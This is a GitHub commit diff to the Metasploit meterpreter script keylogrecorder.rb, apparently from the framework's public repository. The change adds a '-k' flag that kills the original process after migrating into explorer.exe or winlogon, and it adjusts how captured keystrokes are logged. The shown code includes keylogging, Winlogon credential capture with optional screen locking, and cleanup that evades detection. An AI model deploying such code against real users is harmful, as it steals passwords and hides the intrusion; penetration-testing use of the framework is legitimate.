Skip to content

Commit 27000e2

Browse files
committed
Merge branch 'master' of github.com:shellster/metasploit-framework into shellster-master
2 parents 1ac31a3 + 2db85e8 commit 27000e2

File tree

1 file changed

+25
-4
lines changed

1 file changed

+25
-4
lines changed

scripts/meterpreter/keylogrecorder.rb

Lines changed: 25 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,16 @@
11
# $Id$
22
# $Revision$
33
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
4+
# Updates by Shellster
45
#-------------------------------------------------------------------------------
56
session = client
67
# Script Options
78
@@exec_opts = Rex::Parser::Arguments.new(
89
"-h" => [ false, "Help menu." ],
910
"-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ],
1011
"-c" => [ true, "Type of key capture. (0) for user key presses or (1) for winlogon credential capture Default is 0." ],
11-
"-l" => [ false, "Lock screen when capturing Winlogon credentials."]
12+
"-l" => [ false, "Lock screen when capturing Winlogon credentials."],
13+
"-k" => [ false, "Kill old Process"]
1214
)
1315
def usage
1416
print_line("Keylogger Recorder Meterpreter Script")
@@ -50,7 +52,7 @@ def lock_screen
5052
end
5153
end
5254
#Function to Migrate in to Explorer process to be able to interact with desktop
53-
def explrmigrate(session,captype,lock)
55+
def explrmigrate(session,captype,lock,kill)
5456
#begin
5557
if captype.to_i == 0
5658
process2mig = "explorer.exe"
@@ -73,6 +75,16 @@ def explrmigrate(session,captype,lock)
7375
print_status("\t#{process2mig} Process found, migrating into #{x['pid']}")
7476
session.core.migrate(x['pid'].to_i)
7577
print_status("Migration Successful!!")
78+
79+
if (kill)
80+
begin
81+
print_status("Killing old process")
82+
client.sys.process.kill(mypid)
83+
print_status("Old process killed.")
84+
rescue
85+
print_status("Failed to kill old process.")
86+
end
87+
end
7688
end
7789
end
7890
return true
@@ -125,14 +137,19 @@ def write_keylog_data session, logfile
125137
end
126138

127139
sleep(2)
128-
file_local_write(logfile,"#{outp}\n")
140+
141+
if(outp.length > 0)
142+
file_local_write(logfile,"#{outp}\n")
143+
end
129144
end
130145

131146
# Function for Collecting Capture
132147
def keycap(session, keytime, logfile)
133148
begin
134149
rec = 1
135150
#Creating DB for captured keystrokes
151+
file_local_write(logfile,"")
152+
136153
print_status("Keystrokes being saved in to #{logfile}")
137154
#Inserting keystrokes every number of seconds specified
138155
print_status("Recording ")
@@ -157,6 +174,8 @@ def keycap(session, keytime, logfile)
157174

158175
helpcall = 0
159176
lock = false
177+
kill = false
178+
160179
@@exec_opts.parse(args) { |opt, idx, val|
161180
case opt
162181
when "-t"
@@ -167,10 +186,12 @@ def keycap(session, keytime, logfile)
167186
usage
168187
when "-l"
169188
lock = true
189+
when "-k"
190+
kill = true
170191
end
171192
}
172193
if client.platform =~ /win32|win64/
173-
if explrmigrate(session,captype,lock)
194+
if explrmigrate(session,captype,lock, kill)
174195
if startkeylogger(session)
175196
keycap(session, keytime, logfile)
176197
end

0 commit comments

Comments
 (0)